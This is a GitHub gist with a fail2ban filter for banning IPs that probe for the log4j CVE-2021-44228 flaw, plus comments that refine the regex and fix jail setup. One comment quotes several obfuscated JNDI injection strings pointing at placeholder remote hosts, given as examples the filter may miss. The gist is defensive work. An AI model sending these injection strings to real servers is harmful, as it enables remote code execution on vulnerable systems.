Skip to content

Instantly share code, notes, and snippets.

@jaygooby
Last active Feb 2, 2022
Embed
What would you like to do?
fail2ban filter rule for the log4j CVE-2021-44228 exploit
# log4j jndi exploit CVE-2021-44228 filter
# Save this file as /etc/fail2ban/filter.d/log4j-jndi.conf
# then copy and uncomment the [log4j-jndi] section
# to /etc/fail2ban/jail.local
#
# jay@gooby.org
# https://jay.gooby.org/2021/12/13/a-fail2ban-filter-for-the-log4j-cve-2021-44228
# https://gist.github.com/jaygooby/3502143639e09bb694e9c0f3c6203949
# Thanks to https://gist.github.com/kocour for a better regex
#
# Bad actors trying to exploit log4j - instaban them with
# this in your /etc/fail2ban/jail.local
#
# We're using maxretry = 1
# because we know that they're a bad actor...
#
# [log4j-jndi]
# maxretry = 1
# enabled = true
# port = 80,443
# logpath = /path/to/your/*access.log
[Definition]
failregex = (?i)^<HOST> .* ".*\$.*(7B|\{).*(lower:)?.*j.*n.*d.*i.*:.*".*?$
@kocour
Copy link

kocour commented Dec 14, 2021

regex should better be like this...
failregex = ^ .* "(HEAD|GET|POST) /.jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http).".*?$

@jaygooby
Copy link
Author

jaygooby commented Dec 14, 2021

Ah, yes of course, you're right; urls can contain jndi:ldap, jndi:rmi, jndi:dns etc, not just jndi:ldap

@jaygooby
Copy link
Author

jaygooby commented Dec 14, 2021

Let's make it nice and simple with jndi:.*

@kocour
Copy link

kocour commented Dec 14, 2021

yep... I just recognized GH filtered some chars from my line, it should be

failregex = ^<HOST> .* "(HEAD|GET|POST) /.*jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http).*".*?$

@kocour
Copy link

kocour commented Dec 14, 2021

imho there is pretty high chance it will hit some false positives if you leave it too much generic like jndi:.*

@jaygooby
Copy link
Author

jaygooby commented Dec 14, 2021

👍 edited

@ronanchilvers
Copy link

ronanchilvers commented Dec 14, 2021

You might find requests still get through:

  • POST requests may have an exploit payload but hit a URL which doesn't match our patterns. Fail2ban can't read the payload.
  • The string can get complex. See below from tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce - we've seen most of the below examples in our log entries. However I think there's a pretty high chance of false positives with a regex to catch all of these.
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

@kocour
Copy link

kocour commented Dec 14, 2021

@ronanchilvers My logs looks very similar to yours and I agree it's most likely impossible to catch all request variants while not having high percentage of false positives. Primary goal should always be to patch log4j vulnerability on the system. I take this as a little revenge on those annoy-o-scanners ;-)

@ronanchilvers
Copy link

ronanchilvers commented Dec 14, 2021

@kocour 😆 agreed on both points!

@jaygooby
Copy link
Author

jaygooby commented Dec 16, 2021

I've been rechecking with my own logs (last 10 million entries) and I've had far better matches and no false positives with this rule:

failregex    = (?i)^<HOST> .* ".*\$.*(7B|\{).*(lower:)?.*j.*n.*d.*i.*:.*".*?$

which will case-insensitive check the URL, referer and user-agent too (I had a lot of regular URL requests but with jndi: referers).

This matches against a requirement for at least a leading $ followed by {, (regular or escaped) followed by jndi: (but allowing for extra ${ and so on, in between).

You should verify this yourself against your own logs. Most importantly, check for false positives by looking at the Missed line(s) section:

sudo fail2ban-regex --print-all-matched --print-all-missed /path/to/access.log /etc/fail2ban/filter.d/log4j-jndi.conf |less

@ronanchilvers
Copy link

ronanchilvers commented Dec 16, 2021

Thanks @jaygooby - I'll do some testing.

@dakloifarwa
Copy link

dakloifarwa commented Dec 17, 2021

I just added
filter = log4j-jndi
to the section in jail.local

@ursut
Copy link

ursut commented Dec 18, 2021

It should also match (URL encoded) requests like:
/?a=%24%7Bjndi%3Aldap%3A/

Tested:
failregex = (?i)^<HOST> .* ".*(\$|%%24).*(\{|%%7B).*(lower:)?.*j.*n.*d.*i.*(:|%%3A).*".*?$

@Link0Darck
Copy link

Link0Darck commented Dec 18, 2021

In any case, there is something missing in the "jail" but I don't do what?
and I don't know what exactly to put in failregex as many people don't have the same one.

log4j-jndi.conf :

`
log4j jndi exploit CVE-2021-44228 filter
Save this file as /etc/fail2ban/filter.d/log4j-jndi.conf
then copy and uncomment the [log4j-jndi] section
to /etc/fail2ban/jail.local

jay@gooby.org
https://jay.gooby.org/2021/12/13/a-fail2ban-filter-for-the-log4j-cve-2021-44228
https://gist.github.com/jaygooby/3502143639e09bb694e9c0f3c6203949
Thanks to https://gist.github.com/kocour for a better regex

Bad actors trying to exploit log4j - instaban them with
this in your /etc/fail2ban/jail.local

We're using maxretry = 1
because we know that they're a bad actor...

[log4j-jndi]
maxretry = 1
enabled = true
port = 80,443
logpath = /path/to/your/*access.log

[Definition]
failregex = (?i)^ .* ".$.(7B|{).*(lower:)?.*j.n.d.i.:.".?$`

jail.local :

LOG4J HTTP/HTTPS [log4j-jndi] maxretry = 1 enabled = true filter = log4j-jndi port = 80,443 logpath = /var/www/neko-world/log/requests.log Ban IP and report to AbuseIPDB for LOG4J action = %(action_)s %(action_abuseipdb)s[abuseipdb_category="3,4,6,10,15,18,20,22"]

systemctl status :

` fail2ban.service - Fail2Ban Service
Loaded: loaded (/usr/lib/systemd/system/fail2ban.service; enabled; vendor preset: disabled)
Active: failed (Result: exit-code) since Sat 2021-12-18 21:32:26 CET; 2s ago
Docs: man:fail2ban(1)
Process: 28867 ExecStop=/usr/bin/fail2ban-client stop (code=exited, status=0/SUCCESS)
Process: 31391 ExecStart=/usr/bin/fail2ban-server -xf start (code=exited, status=255)
Process: 31389 ExecStartPre=/bin/mkdir -p /run/fail2ban (code=exited, status=0/SUCCESS)
Main PID: 31391 (code=exited, status=255)

déc. 18 21:32:26 neko-world.local systemd[1]: Starting Fail2Ban Service...
déc. 18 21:32:26 neko-world.local systemd[1]: Started Fail2Ban Service.
déc. 18 21:32:26 neko-world.local fail2ban-server[31391]: 2021-12-18 21:32:26,609 fail2ban [31391]: ERROR Failed during configuration: Have not found any log file for log4j-jndi jail
déc. 18 21:32:26 neko-world.local fail2ban-server[31391]: 2021-12-18 21:32:26,623 fail2ban [31391]: ERROR Async configuration of server failed
déc. 18 21:32:26 neko-world.local systemd[1]: fail2ban.service: Main process exited, code=exited, status=255/n/a
déc. 18 21:32:26 neko-world.local systemd[1]: fail2ban.service: Failed with result 'exit-code'.`

@dakloifarwa
Copy link

dakloifarwa commented Dec 18, 2021

You should debug your jail.local. Did you set a valid log path?
You could post your log4j section here for help if you would like to.

@dakloifarwa
Copy link

dakloifarwa commented Dec 18, 2021

Do we need to extend the regex pattern for the next CVE? CVE-2021-45105
https://thehackernews.com/2021/12/apache-issues-3rd-patch-to-fix-new-high.html
Any ideas?

@Link0Darck
Copy link

Link0Darck commented Dec 20, 2021

I debugged my jail.local and the problem is log4j

@JarmBlueOak
Copy link

JarmBlueOak commented Jan 19, 2022

Just collating in a single comment the changes I chose/had to make to get this working for me, mostly from the comments above.

# log4j jndi exploit CVE-2021-44228 filter
# Save this file as /etc/fail2ban/filter.d/log4j-jndi.conf
# then copy and uncomment the [log4j-jndi] section 
# to /etc/fail2ban/jail.local
#
# jay@gooby.org
# https://jay.gooby.org/2021/12/13/a-fail2ban-filter-for-the-log4j-cve-2021-44228
# https://gist.github.com/jaygooby/3502143639e09bb694e9c0f3c6203949
# Thanks to https://gist.github.com/kocour for a better regex
#
# Bad actors trying to exploit log4j - instaban them with
# this in your /etc/fail2ban/jail.local
#
# We're using maxretry = 1 
# because we know that they're a bad actor...
#
# [log4j-jndi]
# maxretry = 1
# filter = log4j-jndi
# action = your_actions_here
# enabled = true
# port = 80,443
# logpath = /path/to/your/*access.log

[Definition]
failregex = (?i)^<HOST> .* ".*(\$|%%24).*(\{|%%7B).*(lower:)?.*j.*n.*d.*i.*(:|%%3A).*".*?$
ignoreregex = 

I chose to use the regex suggested by @ursut. Thanks for sharing this @jaygooby!

@Link0Darck
Copy link

Link0Darck commented Jan 30, 2022

I found the problem there is no backend your jail says it doesn't find the logs so I point to the logs but need to put a backend

[log4j-jndi]
maxretry = 1
enabled = true
filter = log4j-jndi
port    = 80,443
logpath = /var/log/httpd/*access.log
backend  = %(syslog_backend)s
# Ban IP and report to AbuseIPDB for LOG4J
action = %(action_)s
         %(action_abuseipdb)s[abuseipdb_category="3,4,6,15,18,20,22"]

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment